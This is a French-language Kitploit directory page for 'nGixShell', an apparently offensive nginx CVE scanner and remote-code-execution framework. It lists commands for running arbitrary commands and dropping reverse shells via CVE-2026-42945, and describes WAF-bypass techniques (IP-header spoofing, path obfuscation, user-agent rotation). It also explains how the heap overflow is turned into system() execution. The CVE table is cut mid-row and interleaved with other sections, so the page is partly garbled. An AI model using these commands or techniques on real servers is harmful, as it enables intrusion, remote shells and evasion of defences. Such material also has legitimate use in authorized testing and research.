Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/mateusverass/ngixshell
ReconnaissanceScanners de VulnérabilitésFrameworks d'ExploitationExploitation d'Applications WebContournement de WAFSécurité WebTests d'IntrusionCommandement et ContrôleÉnumération de Sous-domainesRed TeamingDéveloppement de Charges Utiles
2186il y a 3 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
GitHub
mateusverass/ngixshell

nGixshell

scanner de CVE nginx + framework d'exploitation RCE (CVE-2026-42945 + 16 autres)

Voir le dépôt
Partager
nGixShell

Python CVEs Zero deps License


nGixShell est un scanner de CVEs nginx et un framework d'exploitation RCE. Il fournit une preuve de concept fonctionnelle pour CVE-2026-42945 — un débordement de tas critique dans ngx_http_rewrite_module — ainsi qu'un scanner couvrant 53 CVEs nginx avec sondes HTTP automatisées, empreinte numérique, détection/contournement WAF, audit de sécurité web et génération de rapports.

Zéro dépendance externe. Pure bibliothèque standard Python 3.


Démarrage rapide

root@kitploit:~
# Spin up the vulnerable lab
docker compose -f env/docker-compose.yml up -d

# Auto mode — fingerprint + CVE scan + web audit
python3 ngixshell.py 127.0.0.1:19321

# Execute a command via RCE (CVE-2026-42945)
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id'

# Drop a reverse shell (IP auto-detected)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell

# Detect and bypass WAF, then scan
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass

# Subdomain scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443

# Multiple targets from a file
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html

Aucun indicateur requis — pointer l'outil vers une cible exécute tout automatiquement.
TLS est détecté automatiquement. nginx est identifié même avec server_tokens off.


Utilisation

root@kitploit:~
python3 ngixshell.py [TARGET] [OPTIONS]

Formats de CIBLE :
  127.0.0.1
  192.168.1.10:8080
  http://192.168.1.10:8080
  https://target.local

Modes

IndicateurDescription
(aucun)Auto — empreinte + scan CVE + audit web
--cmd 'CMD'Exécuter une commande via CVE-2026-42945 RCE
--cmd-file FICHIERExécuter des commandes depuis un fichier (jointes avec ;)
--shellLancer un shell inversé
--shell-type TYPEPayload : bash python perl php nc powershell (défaut : python)
--upgrade-shellEnvoi automatique d'une mise à niveau PTY après connexion du shell
--subdomain-scan DOMAINETrouver nginx vulnérable sur des sous-domaines
--cve CVE-IDTester une CVE spécifique
--list-cvesAfficher les 53 CVEs avec CVSS et infos de sonde
--list-candidatesAfficher les candidats d'adresse de tas
--dry-runEmpreinte + scan uniquement, pas d'exploitation
--target-file FICHIERScanner plusieurs hôtes depuis un fichier

Détection et contournement WAF

IndicateurDescription
--waf-detectDétecter le WAF avant le scan
--waf-bypassActiver toutes les techniques de contournement (lance aussi la détection)
--waf-ip IPUsurper cette IP dans les en-têtes de contournement (défaut : RFC1918 aléatoire)

Techniques de contournement (toutes actives lorsque --waf-bypass est défini) :

TechniqueDétail
Usurpation IPX-Forwarded-For, X-Real-IP, X-Originating-IP, True-Client-IP, X-Remote-IP, X-Client-IP
Rotation de UA11 User-Agents réels de navigateurs/bots, randomisés par requête
Obfuscation de chemindouble-slash, remplissage /./, encodage en pourcentage, variation de casse
Mélange de casse d'en-têterandomise la casse des noms d'en-tête pour casser les correspondances de motifs WAF

WAF détectés : Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence

Audit Web

S'exécute automatiquement en mode scan. Tous les modules peuvent être ignorés individuellement.

IndicateurDescription
--skip-headersIgnorer l'audit des en-têtes de sécurité HTTP
--skip-pathsIgnorer la découverte de chemins/fichiers
--skip-vhostsIgnorer l'énumération d'hôtes virtuels
--skip-tlsIgnorer l'audit du protocole TLS
--path-wordlist FICHIERChemins supplémentaires à sonder (un par ligne)
  • Audit des en-têtes — HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy, en-têtes divulguant la version
  • Découverte de chemins — 50+ chemins ; sonde sentinelle élimine les faux positifs des règles catch-all 403/301
  • Énumération d'hôtes virtuels — nécessite une DIFFÉRENCE de statut ET de corps pour éviter les faux positifs de blocage par défaut
  • Audit TLS — teste le support TLS 1.0–1.3, l'expiration du certificat et la détection de certificat auto-signé
  • stub_status — analyse les métriques de connexion actives à partir de /nginx_status si exposé

Connexion

IndicateurDescription
--port PORTForcer le port
--tlsForcer TLS (détecté automatiquement par défaut)
--proxy URLProxy : http://, https://, socks5://

HTTP

IndicateurDescription
--user-agent UAUser-Agent personnalisé
--auth USER:PASSAuthentification HTTP Basic
--cookie VALEUREn-tête Cookie
--header NOM:VALEUREn-tête supplémentaire (répétable)

Débit / Temporisation

IndicateurDescription
--rate-limit RPSRequêtes max par seconde
--jitter MSDélai aléatoire 0–MS ms entre les requêtes
--retry NRéessayer les sondes non concluantes (défaut : 1)
--timeout-multiplier XMettre à l'échelle tous les timeouts (défaut : 1.0)

Sortie

IndicateurDescription
--output FICHIERÉcrire le journal dans FICHIER
--jsonAfficher un résumé JSON à la fin
--html-report [FICHIER]Générer un rapport HTML (défaut : ngixshell_<hôte>_<ts>.html)
--verboseSortie de débogage

Couverture CVE

53 entrées couvrant 2009–2026. Triées par CVSS.

CVECVSSComposantDescription
CVE-2026-429459.8 CRITIQUErewriteDébordement de tas → RCE (exploité)
CVE-2026-429468.1 HAUTrewriteCorruption mémoire (même avis)
CVE-2022-417417.8 HAUTmp4Corruption mémoire via mp4 malveillant
CVE-2016-12477.8 HAUTpackagingÉlévation de privilèges par lien symbolique de fichier journal
CVE-2021-230177.7 HAUTresolverDépassement d'un octet dans le tas
CVE-2026-407017.5 HAUTrequestCorruption mémoire dans le traitement des requêtes
CVE-2026-429347.5 HAUTrequestCorruption mémoire (même avis)
CVE-2026-277847.5 HAUTmp4Débordement de tampon via mp4 contrefait
CVE-2026-326477.5 HAUTmp4Débordement de tampon (similaire au précédent)
CVE-2024-249907.5 HAUTHTTP/3Use-after-free dans le module QUIC
CVE-2024-249897.5 HAUTHTTP/3Déréférencement de pointeur NULL dans QUIC
CVE-2024-310797.5 HAUTHTTP/3Débordement de pile dans l'encodeur QUIC
CVE-2024-327607.5 HAUTHTTP/3Écriture mémoire via trame HEADERS
CVE-2022-417427.5 HAUTmp4Divulgation de mémoire tas
CVE-2017-75297.5 HAUTrange filterDépassement d'entier → lecture hors limites
CVE-2016-07467.5 HAUTresolverUse-after-free via réponse DNS contrefaite
CVE-2014-01337.5 HAUTSPDYDébordement de tas dans l'implémentation SPDY
CVE-2014-00887.5 HAUTSPDYCorruption mémoire dans SPDY
CVE-2013-45477.5 HAUTcoreContournement URI par espace+NUL
CVE-2013-20287.5 HAUT

Le Bug (CVE-2026-42945)

Le moteur de script de réécriture de nginx utilise un modèle à deux passes : calculer la taille du tampon, puis copier. Le drapeau is_args est défini sur le moteur principal lorsqu'un remplacement rewrite contient ?, mais la passe de calcul de longueur s'exécute sur un sous-moteur fraîchement mis à zéro :

  • Passe de longueur — voit is_args = 0 → renvoie la longueur de capture brute
  • Passe de copie — voit is_args = 1 → appelle ngx_escape_uri(NGX_ESCAPE_ARGS), développant chaque octet non sûr en 3 octets

La copie dépasse le tampon tas sous-dimensionné avec des données URI contrôlées par l'attaquant. L'exploitation corrompt un pointeur de nettoyage ngx_pool_t adjacent via du feng shui de tas inter-requêtes, le redirigeant vers un faux ngx_pool_cleanup_s qui appelle system() lors de la destruction du pool.

Versions affectées

ProduitVulnérableCorrigé
NGINX Open Source0.6.27 – 1.30.01.31.0, 1.30.1
NGINX PlusR32 – R36R36 P4, R35 P2, R32 P6

Avis du fournisseur : https://my.f5.com/manage/s/article/K000160932


Configuration du laboratoire

Testé sur Ubuntu 24.04 LTS. Nécessite Docker et Python 3.8+.

root@kitploit:~
# Start the vulnerable lab (nginx 1.25.3)
docker compose -f env/docker-compose.yml up -d

# Full scan
python3 ngixshell.py 127.0.0.1:19321

# RCE with JSON output
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id' --json

# Reverse shell — bash payload, PTY auto-upgrade
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell

# WAF bypass scan with spoofed IP
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass --waf-ip 10.10.10.1

# Through SOCKS5 proxy
python3 ngixshell.py 192.168.1.10 --proxy socks5://127.0.0.1:9050

# Subdomain scan with rate limiting
python3 ngixshell.py --subdomain-scan example.com --scan-port 443 --rate-limit 10

# Multiple targets, JSON output, HTML report
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html

Avertissement

Pour les tests de sécurité autorisés, les compétitions CTF et la recherche uniquement.

Télécharger l’outil
core
Débordement de pile d'encodage chunked
CVE-2012-11807.5 HAUTproxyUse-after-free dans le module proxy
CVE-2009-35557.5 HAUTSSLInjection de renégociation TLS (MITM)
CVE-2009-26297.5 HAUTcoreDébordement négatif dans l'analyse URI
CVE-2026-429266.5 MOYENHTTP/2Découpage de requête via proxy
CVE-2026-276546.5 MOYENWebDAVDébordement de tas dans le module DAV
CVE-2026-287536.5 MOYENmailInjection d'en-tête dans le proxy mail
CVE-2026-16426.5 MOYENproxyFuite de réutilisation de session SSL amont
CVE-2019-95116.5 MOYENHTTP/2Data Dribble CPU/mémoire DoS
CVE-2012-20896.8 MOYENmp4Débordement de tampon via requête mp4
CVE-2018-168455.5 MOYENmp4Dépassement d'entier → crash + divulgation
CVE-2019-203725.3 MOYENproxyContrebande de requêtes HTTP
CVE-2026-404605.3 MOYENHTTP/3Usurpation de connexion QUIC
CVE-2026-287555.3 MOYENSSLDivulgation mémoire dans le traitement OCSP
CVE-2025-234195.3 MOYENSSLContournement de certificat de reprise de session TLS
CVE-2024-352005.3 MOYENHTTP/3Déréférencement de pointeur NULL
CVE-2024-341615.3 MOYENHTTP/3Divulgation mémoire
CVE-2016-44505.3 MOYENcorePointeur NULL via corps de requête chunked
CVE-2016-07425.0 MOYENresolverPointeur invalide via paquet UDP contrefait
CVE-2016-07475.0 MOYENresolverLimite de résolution CNAME insuffisante
CVE-2014-35565.0 MOYENmailInjection de commande STARTTLS
CVE-2013-20705.3 MOYENproxyDivulgation de réponse du backend
CVE-2011-49635.0 MOYENaccessContournement de contrôle d'accès par adresse IPv6 littérale
CVE-2011-43155.0 MOYENresolverDébordement de tas via réponse DNS contrefaite
CVE-2009-38965.0 MOYENcoreDéréférencement de pointeur NULL DoS
CVE-2025-538594.3 MOYENmailInjection de commande SMTP
CVE-2014-36164.3 MOYENSSLConfusion d'hôte virtuel TLS SNI
CVE-2026-276514.3 MOYENmailDéréférencement de pointeur NULL dans le proxy mail
CVE-2019-95134.3 MOYENHTTP/2Resource Loop CPU DoS
CVE-2019-95164.3 MOYENHTTP/2Épuisement mémoire par en-têtes de longueur 0
CVE-2018-168434.3 MOYENHTTP/2Consommation mémoire excessive
CVE-2018-168444.3 MOYENHTTP/2CPU excessif via trames SETTINGS
CVE-2024-73474.7 MOYENmp4Lecture hors limites
CVE-2009-38984.9 MOYENWebDAVTraversée de répertoire via COPY/MOVE